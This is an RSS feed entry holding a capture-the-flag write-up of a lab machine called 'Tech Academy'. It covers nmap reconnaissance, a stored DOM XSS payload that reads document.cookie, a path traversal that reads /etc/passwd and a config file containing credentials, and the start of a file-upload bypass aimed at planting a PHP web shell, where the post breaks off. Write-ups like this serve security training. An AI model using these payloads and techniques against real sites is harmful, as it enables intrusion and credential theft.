<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Obtuosa</title>
    <description>The latest articles on Forem by Obtuosa (@obtuosa).</description>
    <link>https://forem.com/obtuosa</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F800833%2Fcb6cd08e-365f-4607-b69d-0458c4015106.jpeg</url>
      <title>Forem: Obtuosa</title>
      <link>https://forem.com/obtuosa</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/obtuosa"/>
    <language>en</language>
    <item>
      <title>Tech Academy WriteUp</title>
      <dc:creator>Obtuosa</dc:creator>
      <pubDate>Sat, 07 Feb 2026 23:21:40 +0000</pubDate>
      <link>https://forem.com/obtuosa/tech-academy-write-up-338p</link>
      <guid>https://forem.com/obtuosa/tech-academy-write-up-338p</guid>
      <description>&lt;p&gt;&lt;a href="https://app.hackingclub.com/laboratory/competition-machines/310" rel="noopener noreferrer"&gt;Hacking Club&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tech Academy is a platform focused in programming. It’s important to understand the flow and how we’ll analyze a opportunity to explore vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F900kfoi0b4uspfu2p95k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F900kfoi0b4uspfu2p95k.png" alt="Tech Academy" width="800" height="383"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Reconnaissance (Information Gathering)
&lt;/h2&gt;

&lt;p&gt;The first step is always recon, so how I can try a fuzzing, if I don’t understand what I’m doing here?&lt;/p&gt;

&lt;p&gt;First, the operational system is Ubuntu, web server is nginx and programming language is PHP because PHP has a standard name to session cookie: &lt;code&gt;PHPSESSID&lt;/code&gt; and Node.js because of framework Express.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5z9i1xp68f3bogos25j9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5z9i1xp68f3bogos25j9.png" alt="Wappalyzer - Part 1" width="479" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmjn5zje378ef5ii7igf2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmjn5zje378ef5ii7igf2.png" alt="Wappalyzer - Part 2" width="479" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvavw6zia7ugk01oh7edc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvavw6zia7ugk01oh7edc.png" alt="Endpoints - techacademy.hc" width="800" height="296"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8uz0n6xkqu1m9fpeibd1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8uz0n6xkqu1m9fpeibd1.png" alt="Endpoints - certificated.techacademy.hc" width="800" height="201"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  1.1. nmap
&lt;/h3&gt;

&lt;p&gt;After that, it’s important to see how many doors are there and what we can do with this information about our target&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="nx"&gt;nmap&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Pn&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;sV&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;A&lt;/span&gt; &lt;span class="nx"&gt;IP&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;
&lt;span class="nx"&gt;PORT&lt;/span&gt;   &lt;span class="nx"&gt;STATE&lt;/span&gt; &lt;span class="nx"&gt;SERVICE&lt;/span&gt; &lt;span class="nx"&gt;VERSION&lt;/span&gt;
&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;tcp&lt;/span&gt; &lt;span class="nx"&gt;open&lt;/span&gt;  &lt;span class="nx"&gt;ssh&lt;/span&gt;     &lt;span class="nx"&gt;OpenSSH&lt;/span&gt; &lt;span class="mf"&gt;9.6&lt;/span&gt;&lt;span class="nx"&gt;p1&lt;/span&gt; &lt;span class="nx"&gt;Ubuntu&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="nx"&gt;ubuntu13&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Ubuntu&lt;/span&gt; &lt;span class="nx"&gt;Linux&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;protocol&lt;/span&gt; &lt;span class="mf"&gt;2.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nx"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;hostkey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; 
&lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;f5&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;66&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;f4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;d6&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;94&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;73&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;ca&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;f2 &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ECDSA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;  &lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="nx"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;79&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;84&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;84&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;b4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;f0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;c8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;da &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ED25519&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;tcp&lt;/span&gt; &lt;span class="nx"&gt;open&lt;/span&gt;  &lt;span class="nx"&gt;http&lt;/span&gt;    &lt;span class="nx"&gt;nginx&lt;/span&gt; &lt;span class="mf"&gt;1.24&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Ubuntu&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;_http&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;In&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;xC3&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;xADcio&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;Tech&lt;/span&gt; &lt;span class="nx"&gt;Academy&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; 
&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;  &lt;span class="nx"&gt;Supported&lt;/span&gt; &lt;span class="nx"&gt;Methods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;GET&lt;/span&gt; &lt;span class="nx"&gt;HEAD&lt;/span&gt; &lt;span class="nx"&gt;POST&lt;/span&gt; &lt;span class="nx"&gt;OPTIONS&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;_http&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;nginx&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.24&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Ubuntu&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;Device&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;general&lt;/span&gt; &lt;span class="nx"&gt;purpose&lt;/span&gt;
&lt;span class="nx"&gt;Running&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Linux&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;X&lt;/span&gt;
&lt;span class="nx"&gt;OS&lt;/span&gt; &lt;span class="nx"&gt;CPE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;cpe&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;linux&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;linux_kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;4.15&lt;/span&gt;
&lt;span class="nx"&gt;OS&lt;/span&gt; &lt;span class="nx"&gt;details&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Linux&lt;/span&gt; &lt;span class="mf"&gt;4.15&lt;/span&gt;
&lt;span class="nx"&gt;Uptime&lt;/span&gt; &lt;span class="nx"&gt;guess&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;24.060&lt;/span&gt; &lt;span class="nf"&gt;days &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;since&lt;/span&gt; &lt;span class="nx"&gt;Sat&lt;/span&gt; &lt;span class="nx"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt; &lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;Network&lt;/span&gt; &lt;span class="nx"&gt;Distance&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="nx"&gt;hops&lt;/span&gt;
&lt;span class="nx"&gt;TCP&lt;/span&gt; &lt;span class="nx"&gt;Sequence&lt;/span&gt; &lt;span class="nx"&gt;Prediction&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Difficulty&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;262&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Good&lt;/span&gt; &lt;span class="nx"&gt;luck&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;IP&lt;/span&gt; &lt;span class="nx"&gt;ID&lt;/span&gt; &lt;span class="nx"&gt;Sequence&lt;/span&gt; &lt;span class="nx"&gt;Generation&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;All&lt;/span&gt; &lt;span class="nx"&gt;zeros&lt;/span&gt;
&lt;span class="nx"&gt;Service&lt;/span&gt; &lt;span class="nx"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;OS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Linux&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;CPE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nl"&gt;cpe&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="sr"&gt;/o:linux:linux_kerne&lt;/span&gt;&lt;span class="err"&gt;l
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Basically, two ports open: 22 (SSH) and 80 (HTTP), a relatively up-to-date server.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. DOM-based Stored XSS
&lt;/h3&gt;

&lt;p&gt;The endpoint &lt;code&gt;/js/auth.js&lt;/code&gt; has a interesting vulnerability at register function:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5gqjtg1s5m2a7usjwgma.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5gqjtg1s5m2a7usjwgma.png" alt="auth.js" width="613" height="692"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;updateNavigation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="nx"&gt;userMenu&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`
      &amp;lt;div ...&amp;gt;
        ...
          &amp;lt;span style="font-weight: 500;"&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/span&amp;gt;
        ...
      &amp;lt;/div&amp;gt;
    `&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;navLinks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userMenu&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;updateNavigation&lt;/code&gt; is a bridge to a XSS because of &lt;code&gt;innerHTML,&lt;/code&gt;  . Then, the code catch &lt;code&gt;user.name&lt;/code&gt; that come from localStorage a reply from server, and inject directly in HTML.&lt;/p&gt;

&lt;p&gt;So I tried the classic payload when we register a name with payload XSS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="na"&gt;alert&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="na"&gt;document&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="na"&gt;cookie&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8znr214zbdlzt5n4mhtu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8znr214zbdlzt5n4mhtu.png" alt="Personal Information" width="800" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhfn5xhhaejizelvup005.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhfn5xhhaejizelvup005.png" alt="XSS" width="800" height="383"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But, the XSS doesn’t take us to a real point. Then, it’s insufficient for me to go to the flags. The exploration continues.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Web Exploration (Server-Side)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1. LFI at certificated.techacademy.hc
&lt;/h3&gt;

&lt;p&gt;A classic vulnerability of Path Traversal is part of our point to success. In this case, &lt;code&gt;/certified&lt;/code&gt; endpoint accept a parameter named file and the file return important informations. Indeed, backend don’t do a good sanitization. To be specific, we can try a sequence to up the directories and file access out of uploads folders.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc9m8mxo9rgreilofb48k.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc9m8mxo9rgreilofb48k.jpeg" alt="Download Certificate" width="800" height="482"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyyc0h74w4xe8f9v71wva.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyyc0h74w4xe8f9v71wva.jpeg" alt="file endpoint" width="800" height="201"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj57p6s4t8ts6u6rg6vau.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj57p6s4t8ts6u6rg6vau.jpeg" alt="/etc/passwd" width="800" height="307"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnh33tddkxhbr01nv7miv.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnh33tddkxhbr01nv7miv.jpeg" alt="config.php" width="800" height="339"&gt;&lt;/a&gt;&lt;br&gt;
/var/www/certificated/app/helpers/config.php&lt;/p&gt;

&lt;p&gt;Wow, I found &lt;code&gt;Shanah&lt;/code&gt; user and your password… but it’s a hard lab, it’s nothing something easy to access. When I try to ingress ssh, our entry is denied because of public key.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0llxxj0u3nvxsgmgis4r.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0llxxj0u3nvxsgmgis4r.jpeg" alt="SSH" width="648" height="152"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  3.2. File Upload Bypass
&lt;/h3&gt;

&lt;p&gt;When I was browsing, something interesting happened when I changed my profile picture. Node.js API valid a file extension, but not the content.  If I use a PHP web shell with LFI using a malicious photo?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fit0rzg6zq4b523levpte.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fit0rzg6zq4b523levpte.jpeg" alt="perfil" width="800" height="221"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Friihrzccyy7ly5d12rkg.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Friihrzccyy7ly5d12rkg.jpeg" alt="profile" width="800" height="217"&gt;&lt;/a&gt;&lt;/p&gt;

